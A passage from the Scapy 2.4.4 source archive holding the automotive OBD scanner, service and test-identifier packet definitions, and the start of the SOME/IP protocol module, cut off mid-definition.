FlagsField('supported_pids', 0, 32, [ 'PIDE0', 'PIDDF', 'PIDDE', 'PIDDD', 'PIDDC', 'PIDDB', 'PIDDA', 'PIDD9', 'PIDD8', 'PIDD7', 'PIDD6', 'PIDD5', 'PIDD4', 'PIDD3', 'PIDD2', 'PIDD1', 'PIDD0', 'PIDCF', 'PIDCE', 'PIDCD', 'PIDCC', 'PIDCB', 'PIDCA', 'PIDC9', 'PIDC8', 'PIDC7', 'PIDC6', 'PIDC5', 'PIDC4', 'PIDC3', 'PIDC2', 'PIDC1' ]) ] scapy-2.4.4/scapy/contrib/automotive/obd/scanner.py000066400000000000000000000212351372370053500223720ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Friedrich Feigel # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.description = OnBoardDiagnosticScanner # scapy.contrib.status = loads from scapy.contrib.automotive.obd.obd import OBD, OBD_S03, OBD_S07, OBD_S0A, \ OBD_S01, OBD_S06, OBD_S08, OBD_S09, OBD_NR, OBD_S02, OBD_S02_Record from scapy.contrib.automotive.enumerator import Scanner, Enumerator from scapy.config import conf from scapy.themes import BlackAndWhite class OBD_Enumerator(Enumerator): def scan(self, state, requests, exit_scan_on_first_negative_response=False, retry_if_busy_returncode=True, retries=3, timeout=1, **kwargs): # remove verbose from kwargs to not spam the output kwargs.pop("verbose", None) for req in requests: res = None for _ in range(retries): res = self.sock.sr1(req, timeout=timeout, verbose=False, **kwargs) if not retry_if_busy_returncode: break elif res and res.service == 0x7f and \ res.response_code == 0x21: continue self.results.append(Enumerator.ScanResult(state, req, res)) if res and res.service == 0x7f and \ exit_scan_on_first_negative_response: break self.update_stats() self.state_completed[state] = True @property def filtered_results(self): return [r for r in super(OBD_Enumerator, self).filtered_results if r.resp.service != 0x7f] def show_negative_response_details(self, dump=False): nrs = [r.resp for r in self.results if r.resp is not None and r.resp.service == 0x7f] s = "" if len(nrs): nrcs = set([nr.response_code for nr in nrs]) s += "These negative response codes were received " + \ " ".join([hex(c) for c in nrcs]) + "\n" for nrc in nrcs: s += "\tNRC 0x%02x: %s received %d times" % ( nrc, OBD_NR(response_code=nrc).sprintf( "%OBD_NR.response_code%"), len([nr for nr in nrs if nr.response_code == nrc])) s += "\n" if dump: return s + "\n" else: print(s) @staticmethod def get_label(response, positive_case="PR: PositiveResponse", negative_case="NR: NegativeResponse"): return Enumerator.get_label( response, positive_case, response.sprintf("NR: %OBD_NR.response_code%")) class OBD_Service_Enumerator(OBD_Enumerator): def get_pkts(self, p_range): raise NotImplementedError def get_supported(self, state, **kwargs): pkts = self.get_pkts(range(0, 0xff, 0x20)) super(OBD_Service_Enumerator, self).scan( state, pkts, exit_scan_on_first_negative_response=True, **kwargs) supported = list() for _, _, r in self.filtered_results: dr = r.data_records[0] key = next(iter((dr.lastlayer().fields.keys()))) supported += [int(i[-2:], 16) for i in getattr(dr, key, ["xxx00"])] return [i for i in supported if i % 0x20] def scan(self, state, full_scan=False, **kwargs): if full_scan: supported_pids = range(0x100) else: supported_pids = self.get_supported(state, **kwargs) pkts = self.get_pkts(supported_pids) super(OBD_Service_Enumerator, self).scan(state, pkts, **kwargs) @staticmethod def print_payload(resp): backup_ct = conf.color_theme conf.color_theme = BlackAndWhite() load = repr(resp.data_records[0].lastlayer()) conf.color_theme = backup_ct return load class OBD_DTC_Enumerator(OBD_Enumerator): request = None def scan(self, state, full_scan=False, **kwargs): pkts = [self.request] super(OBD_DTC_Enumerator, self).scan(state, pkts, **kwargs) @staticmethod def print_payload(resp): backup_ct = conf.color_theme conf.color_theme = BlackAndWhite() load = repr(resp.dtcs) conf.color_theme = backup_ct return load class OBD_S03_Enumerator(OBD_DTC_Enumerator): description = "Available DTCs in OBD service 03" request = OBD() / OBD_S03() @staticmethod def get_table_entry(tup): _, _, res = tup label = OBD_Enumerator.get_label( res, positive_case=lambda: OBD_DTC_Enumerator.print_payload(res)) return "Service 03", "%d DTCs" % res.count, label class OBD_S07_Enumerator(OBD_DTC_Enumerator): description = "Available DTCs in OBD service 07" request = OBD() / OBD_S07() @staticmethod def get_table_entry(tup): _, _, res = tup label = OBD_Enumerator.get_label( res, positive_case=lambda: OBD_DTC_Enumerator.print_payload(res)) return "Service 07", "%d DTCs" % res.count, label class OBD_S0A_Enumerator(OBD_DTC_Enumerator): description = "Available DTCs in OBD service 10" request = OBD() / OBD_S0A() @staticmethod def get_table_entry(tup): _, _, res = tup label = OBD_Enumerator.get_label( res, positive_case=lambda: OBD_DTC_Enumerator.print_payload(res)) return "Service 0A", "%d DTCs" % res.count, label class OBD_S01_Enumerator(OBD_Service_Enumerator): description = "Available data in OBD service 01" def get_pkts(self, p_range): return (OBD() / OBD_S01(pid=[x]) for x in p_range) @staticmethod def get_table_entry(tup): _, _, res = tup label = OBD_Enumerator.get_label( res, positive_case=lambda: OBD_Service_Enumerator.print_payload(res)) return ("Service 01", "%s" % res.data_records[0].lastlayer().name, label) class OBD_S02_Enumerator(OBD_Service_Enumerator): description = "Available data in OBD service 02" def get_pkts(self, p_range): return (OBD() / OBD_S02(requests=[OBD_S02_Record(pid=[x])]) for x in p_range) @staticmethod def get_table_entry(tup): _, _, res = tup label = OBD_Enumerator.get_label( res, positive_case=lambda: OBD_Service_Enumerator.print_payload(res)) return ("Service 02", "%s" % res.data_records[0].lastlayer().name, label) class OBD_S06_Enumerator(OBD_Service_Enumerator): description = "Available data in OBD service 06" def get_pkts(self, p_range): return (OBD() / OBD_S06(mid=[x]) for x in p_range) @staticmethod def get_table_entry(tup): _, req, res = tup label = OBD_Enumerator.get_label( res, positive_case=lambda: OBD_Service_Enumerator.print_payload(res)) return ("Service 06", "0x%02x %s" % ( req.mid[0], res.data_records[0].sprintf("%OBD_S06_PR_Record.mid%")), label) class OBD_S08_Enumerator(OBD_Service_Enumerator): description = "Available data in OBD service 08" def get_pkts(self, p_range): return (OBD() / OBD_S08(tid=[x]) for x in p_range) @staticmethod def get_table_entry(tup): _, req, res = tup label = OBD_Enumerator.get_label( res, positive_case=lambda: OBD_Service_Enumerator.print_payload(res)) return ("Service 08", "0x%02x %s" % (req.tid[0], res.data_records[0].lastlayer().name), label) class OBD_S09_Enumerator(OBD_Service_Enumerator): description = "Available data in OBD service 09" def get_pkts(self, p_range): return (OBD() / OBD_S09(iid=[x]) for x in p_range) @staticmethod def get_table_entry(tup): _, req, res = tup label = OBD_Enumerator.get_label( res, positive_case=lambda: OBD_Service_Enumerator.print_payload(res)) return ("Service 09", "0x%02x %s" % (req.iid[0], res.data_records[0].lastlayer().name), label) class OBD_Scanner(Scanner): default_enumerator_clss = [ OBD_S01_Enumerator, OBD_S02_Enumerator, OBD_S06_Enumerator, OBD_S08_Enumerator, OBD_S09_Enumerator, OBD_S03_Enumerator, OBD_S07_Enumerator, OBD_S0A_Enumerator] def enter_state(self, state): return True scapy-2.4.4/scapy/contrib/automotive/obd/services.py000066400000000000000000000072321372370053500225650ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip from scapy.fields import ByteField, XByteField, BitEnumField, \ PacketListField, XBitField, XByteEnumField, FieldListField, FieldLenField from scapy.packet import Packet from scapy.contrib.automotive.obd.packet import OBD_Packet from scapy.config import conf class OBD_DTC(OBD_Packet): name = "DiagnosticTroubleCode" locations = { 0b00: 'Powertrain', 0b01: 'Chassis', 0b10: 'Body', 0b11: 'Network', } fields_desc = [ BitEnumField('location', 0, 2, locations), XBitField('code1', 0, 2), XBitField('code2', 0, 4), XBitField('code3', 0, 4), XBitField('code4', 0, 4), ] class OBD_NR(Packet): name = "NegativeResponse" responses = { 0x10: 'generalReject', 0x11: 'serviceNotSupported', 0x12: 'subFunctionNotSupported-InvalidFormat', 0x21: 'busy-RepeatRequest', 0x22: 'conditionsNotCorrectOrRequestSequenceError', 0x78: 'requestCorrectlyReceived-ResponsePending' } fields_desc = [ XByteField('request_service_id', 0), XByteEnumField('response_code', 0, responses) ] def answers(self, other): return self.request_service_id == other.service and \ (self.response_code != 0x78 or conf.contribs['OBD']['treat-response-pending-as-answer']) class OBD_S01(Packet): name = "S1_CurrentData" fields_desc = [ FieldListField("pid", [], XByteField('', 0)) ] class OBD_S02_Record(OBD_Packet): fields_desc = [ XByteField('pid', 0), ByteField('frame_no', 0) ] class OBD_S02(Packet): name = "S2_FreezeFrameData" fields_desc = [ PacketListField("requests", [], OBD_S02_Record) ] class OBD_S03(Packet): name = "S3_RequestDTCs" class OBD_S03_PR(Packet): name = "S3_ResponseDTCs" fields_desc = [ FieldLenField('count', None, count_of='dtcs', fmt='B'), PacketListField('dtcs', [], OBD_DTC, count_from=lambda pkt: pkt.count) ] def answers(self, other): return other.__class__ == OBD_S03 class OBD_S04(Packet): name = "S4_ClearDTCs" class OBD_S04_PR(Packet): name = "S4_ClearDTCsPositiveResponse" def answers(self, other): return other.__class__ == OBD_S04 class OBD_S06(Packet): name = "S6_OnBoardDiagnosticMonitoring" fields_desc = [ FieldListField("mid", [], XByteField('', 0)) ] class OBD_S07(Packet): name = "S7_RequestPendingDTCs" class OBD_S07_PR(Packet): name = "S7_ResponsePendingDTCs" fields_desc = [ FieldLenField('count', None, count_of='dtcs', fmt='B'), PacketListField('dtcs', [], OBD_DTC, count_from=lambda pkt: pkt.count) ] def answers(self, other): return other.__class__ == OBD_S07 class OBD_S08(Packet): name = "S8_RequestControlOfSystem" fields_desc = [ FieldListField("tid", [], XByteField('', 0)) ] class OBD_S09(Packet): name = "S9_VehicleInformation" fields_desc = [ FieldListField("iid", [], XByteField('', 0)) ] class OBD_S0A(Packet): name = "S0A_RequestPermanentDTCs" class OBD_S0A_PR(Packet): name = "S0A_ResponsePermanentDTCs" fields_desc = [ FieldLenField('count', None, count_of='dtcs', fmt='B'), PacketListField('dtcs', [], OBD_DTC, count_from=lambda pkt: pkt.count) ] def answers(self, other): return other.__class__ == OBD_S0A scapy-2.4.4/scapy/contrib/automotive/obd/tid/000077500000000000000000000000001372370053500211445ustar00rootroot00000000000000scapy-2.4.4/scapy/contrib/automotive/obd/tid/__init__.py000066400000000000000000000005601372370053500232560ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip """ Package of contrib automotive obd specific modules that have to be loaded explicitly. """ scapy-2.4.4/scapy/contrib/automotive/obd/tid/tids.py000066400000000000000000000100111372370053500224520ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip from scapy.fields import FlagsField, ByteField, ScalingField, PacketListField from scapy.packet import bind_layers, Packet from scapy.contrib.automotive.obd.packet import OBD_Packet from scapy.contrib.automotive.obd.services import OBD_S08 class _OBD_TID_Voltage(OBD_Packet): fields_desc = [ ScalingField('data_a', 0, 0.005, "V"), ScalingField('data_b', 0, 0.005, "V"), ScalingField('data_c', 0, 0.005, "V"), ScalingField('data_d', 0, 0.005, "V"), ScalingField('data_e', 0, 0.005, "V"), ] class _OBD_TID_Time(OBD_Packet): fields_desc = [ ScalingField('data_a', 0, 0.004, "s"), ScalingField('data_b', 0, 0.004, "s"), ScalingField('data_c', 0, 0.004, "s"), ScalingField('data_d', 0, 0.004, "s"), ScalingField('data_e', 0, 0.004, "s"), ] class _OBD_TID_Period(OBD_Packet): fields_desc = [ ScalingField('data_a', 0, 0.04, "s"), ScalingField('data_b', 0, 0.04, "s"), ScalingField('data_c', 0, 0.04, "s"), ScalingField('data_d', 0, 0.04, "s"), ScalingField('data_e', 0, 0.04, "s"), ] class OBD_TID00(OBD_Packet): name = "TID_00_Service8SupportedTestIdentifiers" fields_desc = [ FlagsField('supported_tids', 0, 32, [ 'TID20', 'TID1F', 'TID1E', 'TID1D', 'TID1C', 'TID1B', 'TID1A', 'TID19', 'TID18', 'TID17', 'TID16', 'TID15', 'TID14', 'TID13', 'TID12', 'TID11', 'TID10', 'TID0F', 'TID0E', 'TID0D', 'TID0C', 'TID0B', 'TID0A', 'TID09', 'TID08', 'TID07', 'TID06', 'TID05', 'TID04', 'TID03', 'TID02', 'TID01' ]) ] class OBD_TID01(_OBD_TID_Voltage): name = "TID_01_RichToLeanSensorThresholdVoltage" class OBD_TID02(_OBD_TID_Voltage): name = "TID_02_LeanToRichSensorThresholdVoltage" class OBD_TID03(_OBD_TID_Voltage): name = "TID_03_LowSensorVoltageForSwitchTimeCalculation" class OBD_TID04(_OBD_TID_Voltage): name = "TID_04_HighSensorVoltageForSwitchTimeCalculation" class OBD_TID05(_OBD_TID_Time): name = "TID_05_RichToLeanSensorSwitchTime" class OBD_TID06(_OBD_TID_Time): name = "TID_06_LeanToRichSensorSwitchTime" class OBD_TID07(_OBD_TID_Voltage): name = "TID_07_MinimumSensorVoltageForTestCycle" class OBD_TID08(_OBD_TID_Voltage): name = "TID_08_MaximumSensorVoltageForTestCycle" class OBD_TID09(_OBD_TID_Period): name = "TID_09_TimeBetweenSensorTransitions" class OBD_TID0A(_OBD_TID_Period): name = "TID_0A_SensorPeriod" class OBD_S08_PR_Record(Packet): name = "Control Operation ID" fields_desc = [ ByteField("tid", 0), ] class OBD_S08_PR(Packet): name = "Control Operation IDs" fields_desc = [ PacketListField("data_records", [], OBD_S08_PR_Record) ] def answers(self, other): return other.__class__ == OBD_S08 \ and all(r.tid in other.tid for r in self.data_records) bind_layers(OBD_S08_PR_Record, OBD_TID00, tid=0x00) bind_layers(OBD_S08_PR_Record, OBD_TID01, tid=0x01) bind_layers(OBD_S08_PR_Record, OBD_TID02, tid=0x02) bind_layers(OBD_S08_PR_Record, OBD_TID03, tid=0x03) bind_layers(OBD_S08_PR_Record, OBD_TID04, tid=0x04) bind_layers(OBD_S08_PR_Record, OBD_TID05, tid=0x05) bind_layers(OBD_S08_PR_Record, OBD_TID06, tid=0x06) bind_layers(OBD_S08_PR_Record, OBD_TID07, tid=0x07) bind_layers(OBD_S08_PR_Record, OBD_TID08, tid=0x08) bind_layers(OBD_S08_PR_Record, OBD_TID09, tid=0x09) bind_layers(OBD_S08_PR_Record, OBD_TID0A, tid=0x0A) scapy-2.4.4/scapy/contrib/automotive/someip.py000066400000000000000000000423341372370053500214740ustar00rootroot00000000000000# MIT License # Copyright (c) 2018 Jose Amores # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Sebastian Baar # This program is published under a GPLv2 license # scapy.contrib.description = Scalable service-Oriented MiddlewarE/IP (SOME/IP) # scapy.contrib.status = loads import ctypes import collections import struct from scapy.layers.inet import TCP, UDP from scapy.layers.inet6 import IP6Field from scapy.compat import raw, orb from scapy.config import conf from scapy.modules.six.moves import range from scapy.packet import Packet, Raw, bind_top_down, bind_bottom_up from scapy.fields import XShortField, BitEnumField, ConditionalField, \ BitField, XBitField, IntField, XByteField, ByteEnumField, \ ShortField, X3BytesField, StrLenField, IPField, FieldLenField, \ PacketListField, XIntField class SOMEIP(Packet): """ SOME/IP Packet.""" PROTOCOL_VERSION = 0x01 INTERFACE_VERSION = 0x01 LEN_OFFSET = 0x08 LEN_OFFSET_TP = 0x0c TYPE_REQUEST = 0x00 TYPE_REQUEST_NO_RET = 0x01 TYPE_NOTIFICATION = 0x02 TYPE_REQUEST_ACK = 0x40 TYPE_REQUEST_NORET_ACK = 0x41 TYPE_NOTIFICATION_ACK = 0x42 TYPE_RESPONSE = 0x80 TYPE_ERROR = 0x81 TYPE_RESPONSE_ACK = 0xc0 TYPE_ERROR_ACK = 0xc1 TYPE_TP_REQUEST = 0x20 TYPE_TP_REQUEST_NO_RET = 0x21 TYPE_TP_NOTIFICATION = 0x22 TYPE_TP_RESPONSE = 0x23 TYPE_TP_ERROR = 0x24 RET_E_OK = 0x00 RET_E_NOT_OK = 0x01 RET_E_UNKNOWN_SERVICE = 0x02 RET_E_UNKNOWN_METHOD = 0x03 RET_E_NOT_READY = 0x04 RET_E_NOT_REACHABLE = 0x05 RET_E_TIMEOUT = 0x06 RET_E_WRONG_PROTOCOL_V = 0x07 RET_E_WRONG_INTERFACE_V = 0x08 RET_E_MALFORMED_MSG = 0x09 RET_E_WRONG_MESSAGE_TYPE = 0x0a _OVERALL_LEN_NOPAYLOAD = 16 name = "SOME/IP" fields_desc = [ XShortField("srv_id", 0), BitEnumField("sub_id", 0, 1, {0: "METHOD_ID", 1: "EVENT_ID"}), ConditionalField(XBitField("method_id", 0, 15), lambda pkt: pkt.sub_id == 0), ConditionalField(XBitField("event_id", 0, 15), lambda pkt: pkt.sub_id == 1), IntField("len", None), XShortField("client_id", 0), XShortField("session_id", 0), XByteField("proto_ver", PROTOCOL_VERSION), XByteField("iface_ver", INTERFACE_VERSION), ByteEnumField("msg_type", TYPE_REQUEST, { TYPE_REQUEST: "REQUEST", TYPE_REQUEST_NO_RET: "REQUEST_NO_RETURN", TYPE_NOTIFICATION: "NOTIFICATION", TYPE_REQUEST_ACK: "REQUEST_ACK", TYPE_REQUEST_NORET_ACK: "REQUEST_NO_RETURN_ACK", TYPE_NOTIFICATION_ACK: "NOTIFICATION_ACK", TYPE_RESPONSE: "RESPONSE", TYPE_ERROR: "ERROR", TYPE_RESPONSE_ACK: "RESPONSE_ACK", TYPE_ERROR_ACK: "ERROR_ACK", TYPE_TP_REQUEST: "TP_REQUEST", TYPE_TP_REQUEST_NO_RET: "TP_REQUEST_NO_RETURN", TYPE_TP_NOTIFICATION: "TP_NOTIFICATION", TYPE_TP_RESPONSE: "TP_RESPONSE", TYPE_TP_ERROR: "TP_ERROR", }), ByteEnumField("retcode", 0, { RET_E_OK: "E_OK", RET_E_NOT_OK: "E_NOT_OK", RET_E_UNKNOWN_SERVICE: "E_UNKNOWN_SERVICE", RET_E_UNKNOWN_METHOD: "E_UNKNOWN_METHOD", RET_E_NOT_READY: "E_NOT_READY", RET_E_NOT_REACHABLE: "E_NOT_REACHABLE", RET_E_TIMEOUT: "E_TIMEOUT", RET_E_WRONG_PROTOCOL_V: "E_WRONG_PROTOCOL_VERSION", RET_E_WRONG_INTERFACE_V: "E_WRONG_INTERFACE_VERSION", RET_E_MALFORMED_MSG: "E_MALFORMED_MESSAGE", RET_E_WRONG_MESSAGE_TYPE: "E_WRONG_MESSAGE_TYPE", }), ConditionalField(BitField("offset", 0, 28), lambda pkt: SOMEIP._is_tp(pkt)), ConditionalField(BitField("res", 0, 3), lambda pkt: SOMEIP._is_tp(pkt)), ConditionalField(BitField("more_seg", 0, 1), lambda pkt: SOMEIP._is_tp(pkt)) ] def post_build(self, pkt, pay): length = self.len if length is None: if SOMEIP._is_tp(self): length = SOMEIP.LEN_OFFSET_TP + len(pay) else: length = SOMEIP.LEN_OFFSET + len(pay) pkt = pkt[:4] + struct.pack("!I", length) + pkt[8:] return pkt + pay def answers(self, other): if other.__class__ == self.__class__: if self.msg_type in [SOMEIP.TYPE_REQUEST_NO_RET, SOMEIP.TYPE_REQUEST_NORET_ACK, SOMEIP.TYPE_NOTIFICATION, SOMEIP.TYPE_TP_REQUEST_NO_RET, SOMEIP.TYPE_TP_NOTIFICATION]: return 0 return self.payload.answers(other.payload) return 0 @staticmethod def _is_tp(pkt): """Returns true if pkt is using SOMEIP-TP, else returns false.""" tp = [SOMEIP.TYPE_TP_REQUEST, SOMEIP.TYPE_TP_REQUEST_NO_RET, SOMEIP.TYPE_TP_NOTIFICATION, SOMEIP.TYPE_TP_RESPONSE, SOMEIP.TYPE_TP_ERROR] if isinstance(pkt, Packet): return pkt.msg_type in tp else: return pkt[15] in tp def fragment(self, fragsize=1392): """Fragment SOME/IP-TP""" fnb = 0 fl = self lst = list() while fl.underlayer is not None: fnb += 1 fl = fl.underlayer for p in fl: s = raw(p[fnb].payload) nb = (len(s) + fragsize) // fragsize for i in range(nb): q = p.copy() del q[fnb].payload q[fnb].len = SOMEIP.LEN_OFFSET_TP + \ len(s[i * fragsize:(i + 1) * fragsize]) q[fnb].more_seg = 1 if i == nb - 1: q[fnb].more_seg = 0 q[fnb].offset += i * fragsize // 16 r = conf.raw_layer(load=s[i * fragsize:(i + 1) * fragsize]) r.overload_fields = p[fnb].payload.overload_fields.copy() q.add_payload(r) lst.append(q) return lst def _bind_someip_layers(): bind_top_down(UDP, SOMEIP, sport=30490, dport=30490) for i in range(15): bind_bottom_up(UDP, SOMEIP, sport=30490 + i) bind_bottom_up(TCP, SOMEIP, sport=30490 + i) bind_bottom_up(UDP, SOMEIP, dport=30490 + i) bind_bottom_up(TCP, SOMEIP, dport=30490 + i) _bind_someip_layers() class _SDPacketBase(Packet): """ base class to be used among all SD Packet definitions.""" def extract_padding(self, s): return "", s SDENTRY_TYPE_SRV_FINDSERVICE = 0x00 SDENTRY_TYPE_SRV_OFFERSERVICE = 0x01 SDENTRY_TYPE_SRV = (SDENTRY_TYPE_SRV_FINDSERVICE, SDENTRY_TYPE_SRV_OFFERSERVICE) SDENTRY_TYPE_EVTGRP_SUBSCRIBE = 0x06 SDENTRY_TYPE_EVTGRP_SUBSCRIBE_ACK = 0x07 SDENTRY_TYPE_EVTGRP = (SDENTRY_TYPE_EVTGRP_SUBSCRIBE, SDENTRY_TYPE_EVTGRP_SUBSCRIBE_ACK) SDENTRY_OVERALL_LEN = 16 def _MAKE_SDENTRY_COMMON_FIELDS_DESC(type): return [ XByteField("type", type), XByteField("index_1", 0), XByteField("index_2", 0), XBitField("n_opt_1", 0, 4), XBitField("n_opt_2", 0, 4), XShortField("srv_id", 0), XShortField("inst_id", 0), XByteField("major_ver", 0), X3BytesField("ttl", 0) ] class SDEntry_Service(_SDPacketBase): name = "Service Entry" fields_desc = _MAKE_SDENTRY_COMMON_FIELDS_DESC( SDENTRY_TYPE_SRV_FINDSERVICE) fields_desc += [ XIntField("minor_ver", 0) ] class SDEntry_EventGroup(_SDPacketBase): name = "Eventgroup Entry" fields_desc = _MAKE_SDENTRY_COMMON_FIELDS_DESC( SDENTRY_TYPE_EVTGRP_SUBSCRIBE) fields_desc += [ XBitField("res", 0, 12), XBitField("cnt", 0, 4), XShortField("eventgroup_id", 0) ] def _sdentry_class(payload, **kargs): TYPE_PAYLOAD_I = 0 pl_type = orb(payload[TYPE_PAYLOAD_I]) cls = None if pl_type in SDENTRY_TYPE_SRV: cls = SDEntry_Service elif pl_type in SDENTRY_TYPE_EVTGRP: cls = SDEntry_EventGroup return cls(payload, **kargs) def _sdoption_class(payload, **kargs): pl_type = orb(payload[2]) cls = { SDOPTION_CFG_TYPE: SDOption_Config, SDOPTION_LOADBALANCE_TYPE: SDOption_LoadBalance, SDOPTION_IP4_ENDPOINT_TYPE: SDOption_IP4_EndPoint, SDOPTION_IP4_MCAST_TYPE: SDOption_IP4_Multicast, SDOPTION_IP4_SDENDPOINT_TYPE: SDOption_IP4_SD_EndPoint, SDOPTION_IP6_ENDPOINT_TYPE: SDOption_IP6_EndPoint, SDOPTION_IP6_MCAST_TYPE: SDOption_IP6_Multicast, SDOPTION_IP6_SDENDPOINT_TYPE: SDOption_IP6_SD_EndPoint }.get(pl_type, Raw) return cls(payload, **kargs) # SD Option SDOPTION_CFG_TYPE = 0x01 SDOPTION_LOADBALANCE_TYPE = 0x02 SDOPTION_LOADBALANCE_LEN = 0x05 SDOPTION_IP4_ENDPOINT_TYPE = 0x04 SDOPTION_IP4_ENDPOINT_LEN = 0x0009 SDOPTION_IP4_MCAST_TYPE = 0x14 SDOPTION_IP4_MCAST_LEN = 0x0009 SDOPTION_IP4_SDENDPOINT_TYPE = 0x24 SDOPTION_IP4_SDENDPOINT_LEN = 0x0009 SDOPTION_IP6_ENDPOINT_TYPE = 0x06 SDOPTION_IP6_ENDPOINT_LEN = 0x0015 SDOPTION_IP6_MCAST_TYPE = 0x16 SDOPTION_IP6_MCAST_LEN = 0x0015 SDOPTION_IP6_SDENDPOINT_TYPE = 0x26 SDOPTION_IP6_SDENDPOINT_LEN = 0x0015 def _MAKE_COMMON_SDOPTION_FIELDS_DESC(type, length=None): return [ ShortField("len", length), XByteField("type", type), XByteField("res_hdr", 0) ] def _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC(): return [ XByteField("res_tail", 0), ByteEnumField("l4_proto", 0x11, {0x06: "TCP", 0x11: "UDP"}), ShortField("port", 0) ] class SDOption_Config(_SDPacketBase): name = "Config Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC(SDOPTION_CFG_TYPE) + [ StrLenField("cfg_str", "\x00", length_from=lambda pkt: pkt.len - 1) ] def post_build(self, pkt, pay): if self.len is None: length = len(self.cfg_str) + 1 # res_hdr field takes 1 byte pkt = struct.pack("!H", length) + pkt[2:] return pkt + pay @staticmethod def make_string(data): # Build a valid null-terminated configuration string from a dict or a # list with key-value pairs. # # Example: # >>> SDOption_Config.make_string({ "hello": "world" }) # b'\x0bhello=world\x00' # # >>> SDOption_Config.make_string([ # ... ("x", "y"), # ... ("abc", "def"), # ... ("123", "456") # ... ]) # b'\x03x=y\x07abc=def\x07123=456\x00' if isinstance(data, dict): data = data.items() # combine entries data = ("{}={}".format(k, v) for k, v in data) # prepend length data = ("{}{}".format(chr(len(v)), v) for v in data) # concatenate data = "".join(data) data += "\x00" return data.encode("utf8") class SDOption_LoadBalance(_SDPacketBase): name = "LoadBalance Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_LOADBALANCE_TYPE, SDOPTION_LOADBALANCE_LEN) fields_desc += [ ShortField("priority", 0), ShortField("weight", 0) ] class SDOption_IP4_EndPoint(_SDPacketBase): name = "IP4 EndPoint Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_IP4_ENDPOINT_TYPE, SDOPTION_IP4_ENDPOINT_LEN) fields_desc += [ IPField("addr", "0.0.0.0"), ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() class SDOption_IP4_Multicast(_SDPacketBase): name = "IP4 Multicast Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_IP4_MCAST_TYPE, SDOPTION_IP4_MCAST_LEN) fields_desc += [ IPField("addr", "0.0.0.0"), ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() class SDOption_IP4_SD_EndPoint(_SDPacketBase): name = "IP4 SDEndPoint Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_IP4_SDENDPOINT_TYPE, SDOPTION_IP4_SDENDPOINT_LEN) fields_desc += [ IPField("addr", "0.0.0.0"), ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() class SDOption_IP6_EndPoint(_SDPacketBase): name = "IP6 EndPoint Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_IP6_ENDPOINT_TYPE, SDOPTION_IP6_ENDPOINT_LEN) fields_desc += [ IP6Field("addr", "::"), ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() class SDOption_IP6_Multicast(_SDPacketBase): name = "IP6 Multicast Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_IP6_MCAST_TYPE, SDOPTION_IP6_MCAST_LEN) fields_desc += [ IP6Field("addr", "::"), ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() class SDOption_IP6_SD_EndPoint(_SDPacketBase): name = "IP6 SDEndPoint Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_IP6_SDENDPOINT_TYPE, SDOPTION_IP6_SDENDPOINT_LEN) fields_desc += [ IP6Field("addr", "::"), ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() ## # SD PACKAGE DEFINITION ## class SD(_SDPacketBase): """ SD Packet NOTE : when adding 'entries' or 'options', do not use list.append() method but create a new list e.g. : p = SD() p.option_array = [SDOption_Config(),SDOption_IP6_EndPoint()] """ SOMEIP_MSGID_SRVID = 0xffff SOMEIP_MSGID_SUBID = 0x1 SOMEIP_MSGID_EVENTID = 0x100 SOMEIP_CLIENT_ID = 0x0000 SOMEIP_MINIMUM_SESSION_ID = 0x0001 SOMEIP_PROTO_VER = 0x01 SOMEIP_IFACE_VER = 0x01 SOMEIP_MSG_TYPE = SOMEIP.TYPE_NOTIFICATION SOMEIP_RETCODE = SOMEIP.RET_E_OK _sdFlag = collections.namedtuple('Flag', 'mask offset') FLAGSDEF = { "REBOOT": _sdFlag(mask=0x80, offset=7), "UNICAST": _sdFlag(mask=0x40, offset=6) } name = "SD" fields_desc = [ XByteField("flags", 0), X3BytesField("res", 0), FieldLenField("len_entry_array", None, 